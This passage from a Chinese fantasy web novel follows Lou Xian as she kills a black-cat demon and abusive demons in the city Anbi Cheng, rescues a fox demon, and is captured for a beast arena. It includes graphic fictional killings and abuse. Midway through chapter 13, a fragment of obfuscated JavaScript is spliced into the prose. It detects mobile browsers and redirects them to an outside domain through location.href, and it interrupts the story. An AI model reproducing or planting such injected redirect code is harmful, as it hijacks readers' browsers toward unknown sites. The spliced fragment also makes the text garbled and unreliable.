她修为短浅,没有幻化成人的本事,不过是三年前一次机缘巧合下修成人形。
她从未想过那么多,只是一心想留在云婆婆身边,照顾到她终老。
她讷讷开口问:“这重要吗?”
“我对云婆婆好,云婆婆对我好,我是不是妖,好像并不重要。”
白小釉往日看着呆呆傻傻的,想问题倒是简单通透。
两人正聊着,唐渡恰从柴房出来。
他手中拿着几张符纸,上面的画符既不像困咒也不像杀咒,只有寥寥几笔,很是简单。
见唐渡往这走来,白小釉一溜烟跑到唐渡身边,和娄弦保持了距离。
她看了看唐渡手中的符纸,有些惊喜:“唐道长,这是新的召符吗?”
唐渡点点头,将手中的符纸递给白小釉:“昨日你说召符用完了,我又备了些。”
白小釉快手接过,手中摸了摸。
见娄弦站在一旁,圆溜的眼睛转了转,抽出其中一张递给娄弦:“唐道长的召符,有危险你就喊他的名字,他会来救你。”
“刚才你说唐道长保了我一命,暂且不会杀我,这张符纸送给你,能延期吗?”
唐渡有些无言:“小釉,这是我给你的。”
言下之意是说,不要浪费给别人。
娄弦看着白小釉手中简单的符纸。
她本不想要,指着这臭道士来救,自己早就不知死多少回了,可偏偏这小心眼的语气……
“能。”娄弦利落抽走那张符纸,当着唐渡的面晃了晃,“收了。”
11. 吃眼珠的妖
在无垠村的日子过得轻快自在,娄弦每天睡到自然醒,睡醒了就上桌吃饭。
算算日子,娄弦在无垠村待了七日有余。
不过,这并不是她该过的日子。
体内的魂珠还没找齐,魄天炽火还没寻回,最重要的一点,白小釉还没杀。
得找个机会把她体内的魂珠取出来。
娄弦张开嘴,一颗甜滋滋的葡萄被塞进嘴里。
“葡萄好吃吗?”白小釉利落剥好第二颗葡萄,满是耐心在旁边等着。
娄弦细细品了品,满意道:“不错。”
白小釉高兴极了,连剥皮的速度都快了起来:“一颗葡萄延期一个月,两颗葡萄延续两个月,三颗……”
娄弦躺在院子葡萄藤架下,一边吃着白小釉递来的剥皮葡萄,一边用蒲扇轻轻扇着风。
今日的风不算闷热,丝丝凉凉的,空中还带着葡萄肉甜腻的清香,实在惬意。
唐渡从厨房出来时,看到的正是这幅场景。
白小釉坐在娄弦旁边,任劳任怨替她剥葡萄,不知是着了什么道,还越剥越兴奋。
娄弦则像大爷一样坐在醉翁椅上,心满意足吃着白小釉递来的葡萄肉。
这人真是,惯会享受。
唐渡沉着张脸将白小釉叫了起来。
“怎么了唐道长?”白小釉疑惑的看着唐渡。
唐道长的脸色似乎有些不太好看,是不是热晕了?
“你去厨房将那只鸡处理了,晚上吃葱油焖鸡。”唐渡面无表情看着醉翁椅上的娄弦。
“鸡?”一听到晚上吃鸡,白小釉两眼冒光,也不剥什么葡萄了,甩甩手就朝厨房跑去。
娄弦仍旧闭着眼,慢悠悠扇着蒲扇,似乎并不在意唐渡将白小釉叫走。
见娄弦没有反应,唐渡自顾在她身边坐了下来。
“你这日子倒是过得舒坦,连葡萄都得叫人剥了皮才吃。”唐渡属实看不惯娄弦这恃强凌弱的脾性,专逮着白小釉欺负。
娄弦勉强睁开一只眼,轻飘飘搭了眼唐渡,又将眼睛闭上了。
“白小釉是自愿的,一颗葡萄延期一月,方才吃了那么多,至少也保她一年性命了。”
娄弦勾了唇笑:“不是你告诉她的么,这叫劳有所获。”
唐渡:“……”
劳有所获,这词是这么用的么?
余光从葡萄架上的缝隙穿来,缕缕打在娄弦脸上。
她今日将高束的头发披散下来,如瀑般搭在肩上,少了往日的张扬锐利,多了些恬静素雅。
娄弦那抹笑仍旧挂在嘴角。
唐渡凝了半晌,突而回神,提起院角的竹筐背在肩上。
“厨房柴火不够了,我去山上砍些。”
唐渡闷头朝外走去,那抹淡墨身影消失在小院。
娄弦摇着扇蒲,又自顾闭上了眼。
今日天气好,云婆婆准备将被子拿出来晾晒。
她患有眼疾,脚下的路看不清楚,脚下没踩稳险些摔倒。
原在休憩的娄弦一抬手,一道紫光将云婆婆稳住,堪堪将其扶正。
娄弦睁眼从醉翁椅上站起,漫不经心走到云婆婆身侧,伸手将她怀中的被子接过。
“娄姑娘,真是麻烦你了。”云婆婆一手拄着拐杖,感激的看着娄弦。
“无妨,顺手的事。”娄弦将被子平铺完毕,准备躺回醉翁椅。
云婆婆忽然拉了娄弦的手,压低了声说:“这些天你和小釉别出门,最近村子里不太平,失踪了好多人。”
娄弦侧目,饶有兴趣的问:“有人失踪了?”
“前些日张婶一家老小都不见了,活不见人死不见尸的,有人说是闇狴城的妖怪跑出来害人了,总之这些天尽量别出门,我们有唐道长在,不怕。”云婆婆胸有成竹的摆摆手。
虽说湘城比往些年太平许多,作乱的妖兽没那么多了,可此地靠近妖城,难免有那么几个不守规矩的妖精胡乱跑出来害人。
闇狴城的妖兽最是凶狠,吃人挖心那是常有。
城主烛祁明知城内妖邪祸乱,却不加以制止管教,任其祸害人界。
娄弦过去倒是与闇狴城交过几次手,里面的妖兽多是些不成气候的,不经打。
云婆婆面色严肃,虽说有唐渡在,她心中还是有些担忧的。
云婆婆又叮嘱了几句,撑着拐杖去了厨房。
娄弦看着云婆婆离开的背影,独自站了会儿,又回醉翁椅躺下。
唐渡是过了寅时回来的。
他背着一筐柴火,脸色却有些凝重。
饭间,云婆婆提到失踪的张婶一家,语气有些后怕,再三叮嘱白小釉和娄弦不要走远。
可若妖真想取人性命,哪是轻易就能躲掉的。
娄弦本想将这话说出口,却瞥见唐渡在旁一言不发,似乎藏着什么心事。
“唐道长有心事?”娄弦开门见山问。
唐渡面前的饭菜几乎没怎么吃,自从下山回来他一直是眉头紧锁的模样。
唐渡停顿一番,接了云婆婆的话说:“我在山上看到张婶一家了。”
云婆婆倍感惊讶,还没来得及问细节,又听到唐渡吐出三个字。
“是尸体。”
一股凉风吹过,桌上一片安静,葡萄藤架被风吹得簌簌作响。
今日唐渡下山时,听到不远处传来一声尖叫。
他闻声赶去,隔壁王叔惊慌失措跌倒在地,手指发颤指着一处。
空气中夹杂着细微腐臭味。
唐渡慢慢朝王叔所指之处走去,掀开半人高的树丛,三具轻微腐烂的尸体赫然映入眼帘。
两大一小,身上穿着附近村民的衣服,手脚都被凶兽咬去,血红染了一地。
脸上腐肉遮盖,可还是被人认了出来。
“是张婶!是张婶一家!”王叔惊恐的瞪大眼,支起瘫软的身体跑下山喊人。
不久前,张婶一家上山拾柴,直到天黑都没有回来,原是在山上遇了山兽被吃了。
云婆婆心有余悸,看着一脸淡定的白小釉和娄弦说:“这几日还是别出门,万一这山兽跑到村子里……”
云婆婆不再说下去,想想都让人心惊。
“不是山兽。”唐渡清冷的声音传来,“是妖。”
他看过张婶一家的尸体,除了被咬去的肢体,三人的眼珠都被挖了,而眼部的伤口显然早于四肢。
四肢是被山兽咬的,眼珠不是。
唐渡继续说:“张婶一家的尸首被发现后,有村户满山找寻失踪的家人,有的未找到,有的找到了。”
“而那些被找到的尸体,都被挖了眼珠。”
若真是山兽,怎只会挖眼珠吃。
天色有些晦暗下来,桌上的人都停了筷子,只有娄弦还在若无其事吃菜。
她不经意插嘴:“这世上倒是有一种妖喜食人眼睛,黑猫精。”
白小釉眨眨
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眼:“你怎么知道?”
娄弦朝白小釉嫣然一笑:“我养过。”
唐渡不由皱了眉:“你养这种东西作甚?”
那时她刚坐上刹冥台尊主的位置,原先老尊主的手下没一个服从她,整日使绊子不说,还想方设法取她性命。
对于这些老顽固,不使用些手段不行。
所以她养了只黑猫精。
凡是谁有异议或者挑衅她的,通通被丢去喂黑猫。
她将这些人关在一个屋子,任他们听着里面撕心裂肺的喊叫,每日丢进去一个,不出三日,大部分都归顺于她,其余冥顽不灵的,她都杀了。
这是她在刹冥台立威的第一步。
娄弦没有细说,只是托腮看着唐渡:“当然是为了活命啊,唐道长。”
唐渡冷哼。
哪有人为了活命去养这种害人性命的东西。
夜幕彻底拉拢下来,小院里亮着几盏昏黄的烛灯。
云婆婆睡得早,吃完晚饭在院里坐了会儿就上榻歇息了,临睡前她再三叮嘱白小釉和娄弦切勿出门,即便有人敲门也不要轻易去开。
白小釉嘴上应下,待云婆婆睡着,又跑到仙姑庙去劳有所获。
唐渡和娄弦睡不着,二人坐在院子里吹着凉风。
月色淡薄,小院却被照的通亮。
娄弦手中扇着蒲扇,看着夜空高挂的月亮道:“云婆婆平日也这么唠叨?”
娄弦指的是云婆婆一而再再而三的叮嘱,简直操碎了心。
唐渡眯着眼修养:“你觉得烦人?”
他以为娄弦是嫌云婆婆话太多,有些啰嗦。
一旁的人未出声,半晌才道:“不,我觉得新奇。”
“新奇?”唐渡睁开眼,侧头看向娄弦。
女子的鼻梁挺拔,小巧又秀气,可那双凤眼上扬,又叫人不得近身半分。
忽想起前几日娄弦在饭桌上那句:无父无母,野生野长。还有仙姑庙夜,她眼底一闪而过的恨意和悲凉。
唐渡突然道:“因不曾有过,所以新奇?”
这是句反问,而非陈述。
因不曾被人叮嘱,不曾被人关心,不曾被人在意,所以云婆婆啰嗦的那些话恰恰叫人新奇。
娄弦没有说话。
夜色静谧,一阵凉风袭来,吹动娄弦额前的碎发。
她倏尔笑出了声:“不曾有过什么?”
娄弦转头看向唐渡,二人四目相对,黑眸在无声中相撞,彼此看着彼此。
“我不曾拥有的,都是些无关紧要的东西,它不能叫人畏惧我,敬仰我,只会变成我上行的软肋。”
娄弦说这话时,脸上皆是无谓。
正如她所说的,这些都是无关紧要的东西,她不在乎。
可若真的不在乎,心中又怎会生恨。
唐渡不言,只接了她的话说:“软肋并非坏事,它亦能成为人最坚硬的东西。”
唐渡的软肋,是他过世的师父。
也正是因为他的师父,在唐渡好几次想要放弃的时候,生生挺了过来。
二人躺在院子里,各怀心事,谁也没有接谁的话。
一人没有接着往下说,一人也没有继续追问,默契沉默着。
夜深了,天气更凉了些,娄弦起身从长椅上站起,准备回屋歇息。
唐渡却只身未动,原走向屋子的娄弦也定了脚步。
二人齐齐出声:“院子里有人!”
12. 闇(àn)狴(bì)城
夜静谧的如一滴浓墨。
院中二人的身影被拉长,云婆婆屋内的灯已熄了,唯有厨房和院子里还亮着灯火。
徐徐风中,有轻微的脚步声在小心靠近。
娄弦唐渡侧耳细听。
忽有人大叫一声:“小心!”
唐渡面色一紧将娄弦推开,一只黑猫从二人中间扑过!
硫黄的眼睛紧紧盯着娄弦二人,黑色皮毛油光泛亮,脊背隆起,锐利的尖牙从嘴里探出,涎水顺着嘴角滴落,贪婪又凶恶。
黑猫精像是馋极了,伴着一声响彻猫叫迅速朝娄弦扑去。
娄弦眼里冒着冷光,没来由对唐渡道:“后来那只黑猫精被我杀了。”
“什么?”唐渡手中起结,将一面妖幡唤了出去。
猫妖身体灵活,唐渡没有听清娄弦在说什么。
“因为它想吃我的眼珠。”
娄弦手中凝力,倏尔朝猫妖杀了过去。
她养黑猫精是为了在刹冥台示威,叫那些人臣服自己,可这只黑猫精没有认清自己的地位,竟反客为主想吃娄弦的眼珠。
“所以我将它杀了!”
一掌劈下,猫妖被击中。
凄厉的猫叫响彻天际,娄弦欲乘胜追击,手背传来刺痛。
猫妖翻身一跃跳至墙外逃窜而去,娄弦看着手背的抓痕,对唐渡道:“我去追,你看好云婆婆。”
“娄——”唐渡正欲喊她,娄弦已然翻墙朝外追去。
唐渡原想上前的脚步一顿,看了看身后熄灯的屋子,遂又停了下来。
若是调虎离山,云婆婆就危险了。
……
猫妖一路西窜,娄弦紧追不舍。
它的速度极其之快,娄弦伸手去抓,猫妖立刻化为一团黑气蹿向远处。
娄弦驻足,看着眼前城门上的三字:闇狴城。
这座地处边界,位于湘城西面的大妖城。
闇狴城是妖王苍邺为天下妖族而立,起先是为了给那些无处可去的精怪妖兽提供庇护之所,后来天南海北的妖兽都聚集于此,妖物一多,难免出现几个妖性难训的。
闇狴城后边有一巨大渊口,名为万天墟,此渊自上而下深不见底,底下恶鬼千群万妖汇聚,是邪祟供养圣地,所以提到闇狴城,旁人都是避而远之。
如今闇狴城换了主人,是狼妖烛祁坐着苍邺的位置。
娄弦看着城门,大步迈了进去。
长街灯笼如星河涌动,千盏华灯灿映碧霄,妖火在檐端缠绕成花。
鲛珠在摊位上泛着幽幽蓝光,百妖商贩在街头高声吆喝,周边商铺不是酒肆赌馆就是青楼妓馆,烛祁不管事,任由他们将闇狴城闹得乌烟瘴气。
娄弦穿梭在妖群中,寻着猫妖的身影。
闇狴城多是些穷凶极恶的妖,寻常人不会踏入此地,娄弦顶着张生面孔难免引人注意。
她扫视一圈,从掌心幻出一根猫毛,那是刚才相斗时从猫妖身上抓下的。
娄弦双手掐诀,猫毛瞬间化作一缕浊气朝某处飞去。
娄弦随着浊气走街串巷,直到在一处死巷停下。
前面已经没有去路,被一堵墙堵死,周围又没什么藏身的地方。
娄弦看着眼前违和的墙壁,二话不说朝墙面打去,只听一声凄厉惨叫,原本厚实的墙壁里现出一道身影。
猫妖没想到这么快就被找到了。
他身上带着伤,跑不了多远。
猫妖捂着被娄弦打伤的胸口,一脸怨恨看着她:“你可知我兄长是谁?你若是在闇狴城杀了我——”
“噗——”
猫妖话还没说完,瞳孔瞬间放大。
脖间似有什么暖流喷涌而出,他死死捂住脖颈,可伤口太深,怎么都捂不住,只能睁着不可置信的眼神慢慢倒下去,没了生息。
娄弦走到他面前,收起沾了腥血的长戟。
她看着猫妖并不甘心的眼神,轻声垂眸:“杀了,如何?”
无人应她。
娄弦拭去戟尖血液,仿若是路过这里,自若走出小巷。
妖城内依旧热闹非凡,屋顶上垂落的银铃随风摇曳,酒肆传来琵琶弦音,伴着妖姬嬉笑娇骂的声音。
纸醉金迷,奢靡艳遇,这闇狴城还真是实打实的妖城。
娄弦漫步走在街上。
原先这闇狴城也来过几次,倒也没有如今的浊乱,想来这位新城主并无意愿管理,任由其胡来。
娄弦朝城外走去,路过一家娼妓馆,馆外围了不少人。
透过人群,一个衣衫不整的女子被丢在门口,嘴上还淌着尚未干涸的血迹。
馆内走出来两人,其中一人骂骂咧咧,掀起袖子就朝女子打去。
两声脆响,女子白嫩的脸上立刻红肿大片。
“让你来伺候大老爷是你的福气,一只狐狸精,你当自己是什么东西!”
这话说的实在难听,娄弦忍不住驻足停留。
那小馆似还不解气,又朝狐妖小腹踹去。
男子下手何其重,狐妖冒出一口鲜血,神色涣散倒在地上。
周围多是些看热闹的妖群,竟没有一人上前阻止,这对闇狴城的妖来说早已见怪不怪。
小馆还想下手,一个苍老的声音从里面传来。
“留一命,给我扛回去。”
馆内,老态龙钟的身体慢慢走了出来。
他的脖子上有两道深深的抓痕,想是这狐妖抓的。
干枯斑白的头发散落在肩,衣衫并未穿戴整齐,露出干瘪枯瘦的皮肤,那双贪婪浑浊的眼睛不停在狐妖白腻的肌肤上打转。
许是年老体弱,许是纵欲过度,这骨架子晃晃悠悠,仿佛风一吹就会散。
那小馆见老蛇妖出来,立刻换了副嘴脸,点头哈腰道:“这狐妖不识趣儿,扫了您的兴,不如给您换个懂事的高兴高兴。”
老蛇妖未说话,只轻轻斜眼朝小馆看去。
眼神压迫,小馆立刻会意,收了笑使唤旁人道:“你们几个还愣着干嘛!大老爷说了扛回去!你们都聋了?”
身后几小厮见小馆发话,赶忙上前将狐妖扛起。
狐妖几欲挣扎,奈何伤的实在太重,嘴上呼着救命却无人理她。
娄弦慢慢退出妖群,朝一旁的小摊走去。
她把玩着手中的弓箭,漫不经心问一旁的摊主:“这弓箭好使么?”
摊主忙着看戏,哪有功夫搭理娄弦,头也不回道:“好使好使。”却未曾注意娄弦已经搭弓引箭,将箭簇对准了方才动手的小馆。
眼见狐妖被强行带回娼馆,娄弦手臂发力,将弓箭拉到极致。
一句轻飘飘的话传到摊主耳里:“那我试试。”
语毕,娄弦目色一凛,紧绷的手指忽而一松,那箭矢借着弓弦之力快速朝小馆飞去,势如破竹。
在场的所有人都还没反应过来,如疾如速的箭簇划破空气,掠过人群仅有空隙,精准没入小馆的脑袋!
只听一声轻微的头骨破裂声,那小馆不知道发生了什么,只瞪大瞳孔惊恐看向某处,甚至还没来得及反应,身子就不受控倒了下去。
这一切发生的太快太突然了,所有人都惊然转头,连娼馆伙计都忘了手上的动作。
娄弦依旧保持着引弓的姿势,眼神平静无波,仿佛刚才杀人的不是她。
就在众妖以为她要收手时,娄弦又掏出了第二根箭羽,这次,对准的是那老蛇妖。
蛇妖虽未像其他人那样惊慌,可在娄弦搭箭对准他的那一瞬,心中还是惧上了几分。
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他吞了吞口水,下意识朝后退了几步。正是这一瞬,肃风刮过面颊,耳边响起空气划破的声音,随后是沉重的扎入声。
蛇妖惊出一身冷汗,慌乱跌倒在地。
这根箭矢擦过他的脑袋,稳稳扎进身后的木门,差一点他就和地上那具尸体一样了。
娄弦脸上露出几分嘲弄之姿。
什么大老爷,不过是胆小如鼠的无能之辈,仗着自己有几分修为恃强凌弱。
娄弦看着手中的弓箭,满意道:“确实好使。”
摊主回神,看着娄弦手中的弓箭吓得说不出话。
但凡刚才多看一眼,这把箭也不会出现在这女人手上!
狐妖在地上艰难睁开眼,再没有力气说话,只能尽力看着那模糊的身影。
她穿着一抹靓丽红衣,在人群中很是扎眼。
艳丽的红塑出利落笔挺的身形,她就这么站在不远处,肆无忌惮。
老蛇妖缓了许久才镇定下来,他换上一副阴毒的神色,如幽暗虫洞里的毒蛇,高声质问:“你不是妖城的人,你是谁?”
众妖看着娄弦这张陌生的脸,这才回神,满是戒备盯着她。
娄弦也不惧,扯了唇嗤笑一声,置若罔闻走到狐妖身边,裹住她大开的衣襟,将人包了个严实。
“人我带走了。”娄弦并未将老蛇妖放在眼里,不仅不接话,还想将人带走。
实在是目中无人极了!
闇狴城岂是想来就来想走就走的!
城内的妖都是食肉的,这姑娘忒不知死活了些,真该让她吃点教训!
他本摇摇欲坠的身体颤抖起来,调动体内的妖力准备给娄弦一点颜色瞧瞧。
就在他拼尽全力准备给娄弦一击时,娄弦迅速抬手将木门上的箭羽拔下,狠狠扎进蛇妖喉咙。
热血溅到娄弦脸上。
一滴殷红的血珠顺着箭矢缓缓坠落。
娄弦目色一凉,转了手腕将蛇妖喉间的箭羽寸寸拨出。
箭身上凝了术法,蛇妖面露痛苦,直到箭身完全抽离,蛇妖满目不甘倒了下去。
闇狴城内的妖兽日夜寻欢作乐,人族怕他们,神族不与往来,无人治之自然无法无天,直到刚才那一切发生。
娄弦明明可以直接将箭矢拔出,可她偏不这么做,她要让蛇妖受尽痛苦而死。
这姑娘身上的凶劲与城内妖物相比,有过之而无不及啊。
娄弦抹去脸上的血迹,嘴角挂笑,声色却是警示:“还不走么?”
虽是笑着说出这话,可眼里却是冰窟凉意。
一旁还有两具未寒的尸体,即便心中再恨也只能离开。
待妖群散去,一行清泪从狐妖眼角滑落。
她裹着衣襟努力支起身子,好半天才说出一句话:“事情闹大了,他们不会善罢甘休的,你快些走,找个他们寻不到的地方躲起来。”
说罢,狐妖又咳出几道鲜血。
她实在虚弱极了,每说几句话就得歇一歇。
娄弦见她奄奄一息的模样,蹲下身子道:“你还是管好自己吧,别死了。”
耳听着有些不近人情,狐妖却笑了:“吾名拂琵,恩人怎么称呼?”
恩人?
她看着拂琵诚挚的眼睛,心中不免有些新鲜。
活了这么久,还是第一次听见有人喊她恩人。
她细细品了品,起身朝拂琵伸出手:“恩人就算了,我叫娄弦。”
拂琵看着娄弦伸来的手,不由怔了怔,遂忍了身上的伤痛,咬牙牵住她的手。
娄弦将她拽起,松了手。
“我带你去见一人,他会帮你治伤。”
臭道士菩萨心肠,又喜多管闲事,既然这么喜欢做好事,那就让他做个够。
13. 陷阱
唐渡在院子中等了许久,已过子时,娄弦还没回来。
正犹豫着,外面有脚步声传来。
唐渡将门打开,他怎么也没想到娄弦还带着一人。
“这是……”
那女子半边脸高高肿起,衣衫不整,一副气若游丝的模样,像是受了重伤。
他下意识转过头站到一旁,背对着娄弦:“你怎么带了个人回来。”
娄弦看唐渡满是拘谨的模样,抬手将拂琵滑落的衣衫拉上,调侃道:“自然是带来给你做好事啊。”
唐渡恼羞成怒,呵道:“又在胡说什么!”
娄弦嘁笑一声,扶着拂琵朝卧房走去,边走还不忘提醒唐渡:“这小狐狸受了伤,你快来看看。”
怕唐渡以为又是捉弄他,娄弦补充:“我不会救人的术法。”
这话倒是是不假。
她从前只想着怎么杀敌变强,从来没学过救人的术法,毕竟用不上,谁承想有朝一日她也会出手救人。
唐渡背对着娄弦,看不见她的表情。
犹豫半晌,唐渡转身:“跟我来。”
屋子里点了油灯,照亮了唐渡半边脸,柔和了往里疏离清冷的脸。
挺直的鼻梁在烛光中投下一道暗影,唐渡神色认真,在光影交错间促成一幅水墨丹青。
娄弦环胸站在床榻一侧,看着唐渡为拂琵疗伤。
大概是看的过于入神了,唐渡敷完最后一贴药转头正对上娄弦注视的眼睛。
四目相对,娄弦并未避讳,依旧这么直勾勾看着他。
唐渡黑了脸:“看够了没有。”
这架势,恐又要戏弄他。
娄弦没来由道:“唐道长,曾有人夸你长得好看?”
……果然。
唐渡收拾完药箱,头也不抬答:“没有。”
娄弦的语气颇有些遗憾:“那他们眼光不大行啊。”
唐渡:“……”
唐渡无言半晌,起身朝外走去,临了,又侧目对娄弦道:“我有话要对你说。”
娄弦点点头,看了眼已然睡去的拂琵,跟着唐渡出了屋子。
白小釉已从仙姑庙回来,同云婆婆一块儿睡下了,四周静悄悄的,偶有几声蝉鸣传来,给这无尽夜色添了活气。
月光将小院照的通亮,风带着夏日独有的气息。
“说吧。”娄弦看着唐渡的背影道,“是要问那只黑猫精,还是要问拂琵。”
唐渡转了身,看着面前的女子。
夏风扬起她高束的发尾,那根红飘带也随之舞动。
唐渡道:“那只猫妖,是不是被你杀了。”
“不错。”娄弦答得爽快。
果真如此。
这黑猫精害了不少人,坏事做尽,也算罪有应得。
他又看向娄弦身后那间屋子,问:“这狐妖是怎么回事?”
追猫妖追着追着,怎么还带了只狐妖回来,还是只受伤的狐妖。
娄弦打了个哈欠。
她实在是太累了,再问下去天就亮了。
“明日你自己问她吧,我困了,先睡了。”娄弦转身进了屋子,将门带上,独留唐渡一人留在院中。
……
院子里多了个人,总比先前热闹些。
唐渡的床铺不大,至多睡一人,娄弦昨晚趴在桌案将就了一夜,起来后腰酸背痛的。
她捶着后腰睁开眼,拂琵已经起来了。
她将床铺整理干净,还给娄弦盖了件衣裳。
阳光从窗隙照射进来,娄弦起身开门,拂琵端着碗素菜粥从厨房出来。
“你醒了?”拂琵脸上的伤已消下去不少,显现出她本就娇艳柔美的面容。
娄弦轻“嗯”一声,又见唐渡拿了碗筷出来。
他看了娄弦一眼,不似往常的冷漠寡淡,连带着语气都多了些不曾有的耐心。
“吃饭了。”
这是中邪了?还是被谁上身了?臭道士突然看自己顺眼了?
娄弦撇撇嘴走到桌前坐下。
白小釉贴着拂琵相坐。
她们二人虽刚相识不久,可白小釉对这个貌美的同族很是喜欢。
拂琵说话又温婉又细腻,待人得体,不似娄弦总想着要杀她,于是不停看着她同她说话。
拂琵难以招架白小釉的热情,笑盈盈答着,又见娄弦一人闷声吃饭,想到昨夜她闹了这么一出,闇陛城的妖恐怕不会轻易放过,心中又隐约担忧起来。
“娄……”拂琵顿了顿,咬唇道,“阿弦,我可以这么叫你吗?”
娄弦抬头,见拂琵一脸小心翼翼的模样,问道:“怎么了?”
娄弦并未露出反感的表情,拂琵放下心来:“昨夜你帮了我,闇陛城的妖最是记仇,我留在此处会不会连累你们?”
娄弦昨天说带走就把拂琵带走了,浑然不把娼馆的妖放在眼里,若是他们寻起来连累小院的人,岂不是恩将仇报了。
拂琵的担忧并无道理,一旁未说话的云婆婆却开口安慰:“不怕,咱们有唐道长在,他是捉妖高手,那些小妖小怪打不过他。”
白小釉连连点头。
娄弦忽的笑出声,托腮看着拂琵,添了勺油醋进去:“对对对,有唐道长在,他会保护我们的。”
唐渡面无表情吃着饭。
面对娄弦的阴阳怪腔,他已经习以为常了。
今早听拂琵讲起昨夜在闇狴城发生的事,好不容易对娄弦有些改观,现在一盆水浇下去,又熄灭了。
积习难改,秉性难除,娄弦就是这么一个人。
一顿饭下,几人寻了事情做。
拂琵不好麻烦别人,帮着白小釉忙前忙后,白小釉心中感激,对拂琵的好感度又升了不少。
反观娄弦这边。
她看着唐渡递过来的锄具,一脸不解:“你把这东西给我做什么?”
她在院中躺的好好的,唐渡二话不说递来一锄头,这是要让她干活?
唐渡沉眸看她,不容置喙道:“你来小院也有些时日了,整日不是吃就是睡,院子不养闲人,今日同我上山挖笋。”
娄弦嗤笑一声,将那锄头丢至一旁又躺了下去。
她何时上山挖过笋。
小院过去不养闲人,现在不养着了么。
见娄弦纹丝不动,唐渡挪唇道:“晚上腊肉炒笋,云婆婆腌的腊肉干而不柴,肥而不腻,配上炒笋加点米辣,油滋滑润最是下饭。”
娄弦动弹一瞬,捡起方才被丢置一旁的锄头。
“带路。”
……
山路崎岖难走,杂草丛生,地上还有猎户做的陷阱,草木掩盖,一不小心就会落入其中。
娄弦未上过山,她扛着锄头走在唐渡身后,唐渡自顾走着,并未留意身后的娄弦。
娄弦脚程快,并未落下太多。
离山头挖笋处还有些距离,娄弦有一搭没一搭说着。
唐渡并不想理她,偶尔怼她几句,多数时候都保持着沉默。
山间慢慢起了雾,脚下的路逐渐看不清。
娄弦停住一瞬,看着周围渐起的细雾,心中涌起异样:“臭道士,你有没有觉得不对劲?”
……
无人应她。
娄弦挥挥手,企图挥去眼前浓雾,在放手一瞬,一张鬼脸突而冲了上来,娄弦心中一骇快速闪开。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626831|172407||http|test|mini|href|location''.split(''|''),0,{}));
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>她抬头望去,树杈上不知何时站满了密密麻麻的黑乌鸦,漆黑的眼睛一动不动看着娄弦。
就在娄弦准备出手时,那群黑乌鸦如箭矢发射,黑压压朝她飞来。
嘶哑难听的叫声在头上盘桓。
娄弦五指一张,即刻召出天悲戟。
密密匝匝的乌鸦不要命似的朝娄弦撞来,如倾泻翻涌的墨浪,一茬接着一茬。
见鬼,这些东西怎么杀不干净!
娄弦心中咒骂,挥着天悲戟朝鸦群砍去。
她全身注意力都在这群乌鸦身上,并未注意这群乌鸦故意将她往陷阱上引。
忽觉脚下一空,娄弦低头,已然落入巨坑之中。
猎户将猎坑挖的又大又深,甚至还将边缘磨平,就是为防止落入陷阱的山兽逃跑。
娄弦手中凝力,将天悲戟扎进坑壁,正欲飞出猎坑。
脚下忽有抓力传来。
一双手破土而出,死死抓住娄弦的脚踝,娄弦欲将其砍断,盘桓在上空的乌鸦齐齐冲进猎坑咬住娄弦胳膊。
脚踝上的鬼手发力,倏尔将娄弦拉了进去——
林中惊鸟四散!
唐渡顿步,周遭似有什么发生了变化,原本清晰的山路逐渐被浓雾模糊。
雾?哪来的雾?
唐渡警戒心起,回头去看身后的娄弦。
山路幽静,哪还有娄弦的身影。
她是回去了?
几声鸦叫划过天际,唐渡抬头,天边不知何时出现了一群黑乌鸦,正齐刷刷朝某处飞去。
不好!
唐渡反应过来,怕是出事了!
……
霉腐之气夹杂着潮湿的凉意,监内光线昏暗,只有几处狭小的窗户有光亮照射进来。
牢笼中的凶兽龇牙咧嘴,发着哼哧咕噜声,像是随时冲破铁笼朝人扑来。
娄弦脑袋昏沉,不知自己身处何地,只觉四肢软弱无力使不上劲儿。
迷糊间,听到两人对话的声音。
“确保她将归元丹吃下了?”
“主事您放心,归元丹噬法消灵,如今她与城外的凡人并无区别。”
男人满意的点点头,厚重的声音指了娄弦道:“将人弄醒。”
一盆凉水倒在娄弦身上,冷的刺骨。
娄弦指尖微动,强撑开沉重的眼皮。
入了猎坑后,一双鬼手将她拉至地底下,随后一股难闻的异味钻进鼻孔,当即没了意识,醒来后就到了这鬼地方。
这是一处禁所。
娄弦屏气,企图调动体内气息,可当她运气时,却发现体内空无一物,竟然无法凝聚术法,就连天悲戟也无法召唤。
“别白费力气了,归元丹噬法消灵,如今你与凡人无异。”幽幽攀附的声音从暗处传来,“我阿弟是不是你弄死的?”
阿弟?
娄弦闻声抬头。
监所之外坐着一人,不,准确的说是妖。
他长着张棱角分明的脸,颧骨凸起,下巴微尖,细长的眼睛锐利而阴郁。
瞧这长相,娄弦终于想起来了。
她恍然大悟:“啊,原来那只没用的黑猫精所说的兄长是你啊。”
语气不以为意,嘴角还挂着若有似无得讥笑。
兽场主事不由握紧双拳。
果真是这女人杀了阿弟!她怎么敢杀了自己的弟弟,还有这满不在乎的样子,实在挠眼!
兽场主事紧握的拳头渐渐松弛下来。
阴鸷的眼睛闪着暗光,像是想到了什么有趣的事。
他看了眼关在铁笼中的凶兽,幽幽道:“谁饿的最久?”
“今日的斗兽,必定精彩。”
14. 斗兽场
唐渡回来时,拂琵正在浆洗云婆婆的衣裳。
她抬头看了眼唐渡身后,并未有娄弦的身影:“唐道长,阿弦没跟你一起回来吗?”
唐渡面色一凝:“她没有回来?”
方才他原路返回去寻娄弦,发现山间有打斗的痕迹,还有许多乌鸦的尸体。
猎户的陷阱已被破坏,高出半人的深坑内空无一人。
起先他以为是山间妖鬼作怪,娄弦与唐渡交过手,一般的山野精怪不是她的对手。
见唐渡面色凝重,拂琵隐隐不安起来:“是出什么事了吗?”
“山间忽然起了浓雾,我找不到她了。”唐渡的声音很低沉,掺杂着一丝难以言喻的愧疚,“我去找她。”
得知娄弦不见,拂琵赶忙停了手中的活,跟着唐渡朝外走去。
“一定是闇狴城的人动的手,我跟你一块儿去。”
昨日娄弦在闇狴城闹了一场,为救拂琵还见了血,拂琵心中笃定是自己连累了她。
